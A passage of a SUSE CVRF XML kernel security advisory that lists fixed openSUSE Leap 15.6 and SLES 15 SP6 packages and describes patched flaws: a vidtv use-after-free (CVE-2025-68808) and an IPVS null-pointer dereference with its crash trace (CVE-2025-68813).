        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2025-68804.html</URL>
        <Description>CVE-2025-68804</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1256617</URL>
        <Description>SUSE Bug 1256617</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1256618</URL>
        <Description>SUSE Bug 1256618</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="23">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

media: vidtv: initialize local pointers upon transfer of memory ownership

vidtv_channel_si_init() creates a temporary list (program, service, event)
and ownership of the memory itself is transferred to the PAT/SDT/EIT
tables through vidtv_psi_pat_program_assign(),
vidtv_psi_sdt_service_assign(), vidtv_psi_eit_event_assign().

The problem here is that the local pointer where the memory ownership
transfer was completed is not initialized to NULL. This causes the
vidtv_psi_pmt_create_sec_for_each_pat_entry() function to fail, and
in the flow that jumps to free_eit, the memory that was freed by
vidtv_psi_*_table_destroy() can be accessed again by
vidtv_psi_*_event_destroy() due to the uninitialized local pointer, so it
is freed once again.

Therefore, to prevent use-after-free and double-free vulnerability,
local pointers must be initialized to NULL when transferring memory
ownership.</Note>
    </Notes>
    <CVE>CVE-2025-68808</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2025-68808.html</URL>
        <Description>CVE-2025-68808</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1256682</URL>
        <Description>SUSE Bug 1256682</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="24">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

ipvs: fix ipv4 null-ptr-deref in route error path

The IPv4 code path in __ip_vs_get_out_rt() calls dst_link_failure()
without ensuring skb-&gt;dev is set, leading to a NULL pointer dereference
in fib_compute_spec_dst() when ipv4_link_failure() attempts to send
ICMP destination unreachable messages.

The issue emerged after commit ed0de45a1008 ("ipv4: recompile ip options
in ipv4_link_failure") started calling __ip_options_compile() from
ipv4_link_failure(). This code path eventually calls fib_compute_spec_dst()
which dereferences skb-&gt;dev. An attempt was made to fix the NULL skb-&gt;dev
dereference in commit 0113d9c9d1cc ("ipv4: fix null-deref in
ipv4_link_failure"), but it only addressed the immediate dev_net(skb-&gt;dev)
dereference by using a fallback device. The fix was incomplete because
fib_compute_spec_dst() later in the call chain still accesses skb-&gt;dev
directly, which remains NULL when IPVS calls dst_link_failure().

The crash occurs when:
1. IPVS processes a packet in NAT mode with a misconfigured destination
2. Route lookup fails in __ip_vs_get_out_rt() before establishing a route
3. The error path calls dst_link_failure(skb) with skb-&gt;dev == NULL
4. ipv4_link_failure() -&gt; ipv4_send_dest_unreach() -&gt;
   __ip_options_compile() -&gt; fib_compute_spec_dst()
5. fib_compute_spec_dst() dereferences NULL skb-&gt;dev

Apply the same fix used for IPv6 in commit 326bf17ea5d4 ("ipvs: fix
ipv6 route unreach panic"): set skb-&gt;dev from skb_dst(skb)-&gt;dev before
calling dst_link_failure().

KASAN: null-ptr-deref in range [0x0000000000000328-0x000000000000032f]
CPU: 1 PID: 12732 Comm: syz.1.3469 Not tainted 6.6.114 #2
RIP: 0010:__in_dev_get_rcu include/linux/inetdevice.h:233
RIP: 0010:fib_compute_spec_dst+0x17a/0x9f0 net/ipv4/fib_frontend.c:285
Call Trace:
  &lt;TASK&gt;
  spec_dst_fill net/ipv4/ip_options.c:232
  spec_dst_fill net/ipv4/ip_options.c:229
  __ip_options_compile+0x13a1/0x17d0 net/ipv4/ip_options.c:330
  ipv4_send_dest_unreach net/ipv4/route.c:1252
  ipv4_link_failure+0x702/0xb80 net/ipv4/route.c:1265
  dst_link_failure include/net/dst.h:437
  __ip_vs_get_out_rt+0x15fd/0x19e0 net/netfilter/ipvs/ip_vs_xmit.c:412
  ip_vs_nat_xmit+0x1d8/0xc80 net/netfilter/ipvs/ip_vs_xmit.c:764</Note>
    </Notes>
    <CVE>CVE-2025-68813</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
